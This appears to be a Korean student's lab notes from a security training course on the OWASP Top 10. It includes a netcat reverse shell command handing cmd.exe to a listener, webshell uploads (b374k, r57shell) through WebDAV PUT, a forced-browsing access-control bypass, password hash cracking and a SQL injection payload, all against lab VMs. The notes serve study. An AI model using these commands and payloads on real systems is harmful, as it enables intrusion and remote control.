본문 바로가기

Rookies 9기/애플리케이션 보안

애플리케이션 보안4일차

728x90

OSWAP TOP 10 

- oswap의 TOP 10 취약점을 알아야 하는 이유 

가장 최신의 웹 보안 트렌드를 알 수 가있다.
전세계 보안 전문간들을 대상으로 설문을 한다.
상위 10개의 취약점이 전체의 약 95%에 해당한다,

• reverse Web Shell 실습

reverse connection 방식으로 연결, Win2003의 RAT(netcat)을 이용해서 연결, 웹 브라우저에서 실행

Ubuntu

우분투에서 nc -l -p 8000 명령어를 사용해 서버를 연다.

-ㅣ : 듣기?
-p : 포트번호 지정 

웹 브라우저

window2003에 설치되어있는 웹 브라우저에 들어가 cmd WebShell 주소로 이동을 한다.

명령어 실행

c:\wine.exe 192.168.5.128 8000 -e cmd.exe  명령어를 입력 후 실행을 한다.

wine.exe : netcat 프로그램 이름을 wine으로 이름만 바꿨다.
192.168.5.128 : Ubuntu 서버 IP 주소
8000 : 서버에서 연 포트 번호
-e : binary를 제공
cme.exe : Ubuntu에 cmd 권환을 넘겨주겠다.

Ubuntu 결과화면

웹 브라우저에서 명령어를 실행한 결과 우분투와 연결이 된 걸 확인할 수 있다.

우분투에서도 system 권한이 생겼다. (웹 브라우저 권한에 따라 생기는 권한이 다르다.)

 

• OSASP A01 : Broken Access Control

URL(매개변수 변조 또는 강제 탐색), 내부 애플리케이션 상태 또는 HTML 페이지를 수정하거나 API 요청을 수정하는 공격 도구를 사용하여 액세스 제어 검사를 우회한다.

- Escalation : 권한 상승하는 기법 ex) 윈도우 취약점이 존재할 경우 -> 스크리트를 돌리면 관리자 권한이 주어지기도 한다.

 

1) 실습 

Argo Club에서 ID와 PW를 이용해 글을 쓸 수 있지만, 로그인을 하지 않고도 글을 쓸 수 있을까?

자유게시판

로그인을 하지 않은체 자유게시판에 들어가면 작성을 할 수 있는 페이지 및 버튼 등 없다.

자유게시판

글을 읽는 페이지의 구조를 보면 URL에 View가 보인다 즉, 글을 쓰는 페이지는 wirte라고 추측을 할 수가 있다.

Wirte

Wirte로 수정한 결과 글을 쓰는 페이지가 나타났다.

게시판에 글쓰기

자유게시판에 글이 올라온걸 확인할 수 있다.

-  대응 방법

- 명백한 허용을 제외하고 모두 거부 (Deny All Philosophy : 모든 것을 거부하는 원칙)
- 디렉토리 리스팅을 차단 관리자가 일부러 디렉토리 리스팅을 하는 경우는 상관이 없음 관리자가 모르는 상태에서 디렉토리가 리스팅된다면 모든 파일이 인터넷에 노출됨 ----> 이런 경우 문제
- 로그아웃하기 전에 쿠키값을 복사하고 로그아웃 -----> 복사한 쿠키를 로그아웃 이후에 붙여넣기하고 재방문 ----> 사용자로 계속 인식

 

• bee-box 

Bee-Box

beebox는 웹 취약점을 공격할 수 있는 오픈소스 웹 애플리케이션인 bWAPP가 설치되어 있으며 웹 취약점 공격을 공부할 수 있도록 만들어진 가상 환경이다.

 

• Web Shell(Bee-Box)

오늘 풀어 볼 문제는 A5 - insecure WebDAV Configuration이다.

※ WebDAV : 웹을 개발할 때 여러 개발자들이 파일을 업로드하고 수정 및 삭제 등을 열어 놓은 디렉터리이다.

 

WebDAV 디렉터리 페이지이다. 

웹쉘을 업로드하기 위해서는 어떻게 해야 하는가?

Burp Suite

버프를 사용해 WebDAV페이지를 인터셉트로 잡아준다. 

1. 잡은 인터셉트에서  파일을 업로드 하기 위해서 GET 를 PUT으로 변경해주고 파일명을 지정해준다.
2. body 부분에 웹쉘 소스코드를 넣어 넘겨준다.

 

생성 완료

파일이 생성이 되었다는 메시지가 뜬다.

WebDAV 디렉터리에 보면 파일이 생성되었다는 걸 확인했다. 

실행이 되는지 확인을 한다.

b374k 웹쉘

웹쉘이 실행되는 걸 확인했다.

 

 •칼리에서  웹쉘 올리기

Kali에서 웹쉘이 r57 shell.php 파일을 WebDAV에 업로드를 할 것이다.

 

Kali Linux

1. r57shell.php 파일이 있는 위치로 이동해준다  => cd Desktop
2. 파일이 있는지 확인을 한다. => ls
3. 파일을 WebDAV 페이지 주소로 들어간다. => sudo cadver http://192.168.5.130/webdav 
4. 파일을 업로드한다. => put r57shell.php

※ WebDAV 디렉터리에 파일 업로드가 되는 원인

- PUT, COPY, DELETE 등 허용되어 있기 때문에( 파일을 수정, 삭제, 업로드 등을 모두 하기 위해서 다양한 Method가 허용됨)

 

• OSWAP A02 : Cryptograpihic Failures

암호화를 잘 못하는 이유

암호화 및 복호화하는데 컴퓨터 연산량이 많아지는 문제  -> 서버 부하
오래된 웹 사이트, 옛날에 만든 페이지가 그대로 남아있는 경우
처음에는 안전한 암호화였으나 시간이 지남에 따라 컴퓨터의 성능이 엄청나게 발전해서 쉽게 크래킹 될 수 있는 상태가 된다.

안전하지 않은 암호화

대칭키 : DES, 3DES RC4 등등, ECB 방식
공개키 : RSA1024bit 이하
해시함수 : MD5, SHA1,LMhash
※ 위의 암호화를 사용하면, ISMS-P 인증심사에서 결함으로 판정

cf) seed : 우리나라에서 만든 대칭키, 아직까지는 안전한 것으로 판단-> 은행 중앙망에서 사용

* salt : 해시함수와 원문이 같으면 해시값도 같아지기 때문에, salt를 원문에 섞어서 해시값을 계산 => 해시값이 다 달라진다.

 •해시 함수 사용하기

MD5 해시함수

사용 방법 : md5 sum [파일명]

 

원문이 다르면 다른 해시값이 나온다 => 해시값이 다르다는 것은 원문이 달라졌음을 의미한다.(무결성 훼손 --> 변조되었다)

 

• 취약한 해시를 사용했을 때의 문제점(실습)

Windows 2003의 내 문서에서 lcp504에서LCP를 설치해준다.

import > import from local computer를 선택하고 플레이 버튼 클릭

패스워드가 출력이 된다.(사진 잘못 찍음 수정해야 할 부분)

• OWSAP A03 : Injection

•A1 인젝션

 모든 영화사 나오게 하려면?

' or 1=1 # 구문을 넣고 입력을 하면 모든 영화가 출력이 된다.

 

※ MySQL에서 데이터베이스에 대한 정보는 information_schema라고 하는 데이터베이스에 저장되어 있다.

테이블은 information_schema.tables의 테이블에 table_name이라는 컬럼에 저장되어 있다.

컬럼 이름은 information_schema.columns라는 테이블에 column_name이라는 컬럼에 저장되어 있다.

DB이름은 table_schema라는 컬럼에 저장되어 있다.

 

내부 함수 

  database() : 데이터베이스 이름을 확인하는 함수

  version() : 버전을 확인하는 함수

  @@version : 버전을 확인하는 함수

  user() : 사용자를 확인하는 함수